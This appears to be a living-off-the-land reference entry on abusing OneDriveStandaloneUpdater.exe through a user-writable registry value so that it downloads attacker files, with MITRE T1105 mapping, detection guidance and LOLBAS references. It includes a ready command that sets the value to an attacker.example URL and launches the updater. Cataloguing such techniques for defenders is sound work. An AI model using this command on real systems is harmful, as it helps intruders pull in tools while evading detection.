OneDriveStandaloneUpdater.exe

The signed OneDrive updater downloads from the URL stored in the user-writable registry value HKCU\Software\Microsoft\OneDrive\UpdateOfficeConfig\UpdateRingSettingURLFromOC. Setting that value and launching the updater fetches an attacker-controlled file while the process command line stays completely benign.

Use Download a file from the internet with a signed updater and no anomalous command-line arguments.

reg add "HKCU\Software\Microsoft\OneDrive\UpdateOfficeConfig" /v UpdateRingSettingURLFromOC /t REG_SZ /d https://attacker.example/x /f && OneDriveStandaloneUpdater.exe

Context

user

Native

Download

MITRE

T1105

Detection

Detection: writes to HKCU\Software\Microsoft\OneDrive\UpdateOfficeConfig\UpdateRingSettingURLFromOC; OneDriveStandaloneUpdater.exe connecting to hosts outside the official OneDrive/Office update CDNs.

Verified

✓ LOLBAS OneDriveStandaloneUpdater.yml documents downloading from the URL in HKCU\...\UpdateOfficeConfig\UpdateRingSettingURLFromOC (T1105); match (LOLBAS also notes ODSUUpdateXMLUrlFromOC/UpdateXMLUrlFromOC must be non-empty).

Refs

github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/OneDriveStandaloneUpdater.yml

attack.mitre.org/techniques/T1105/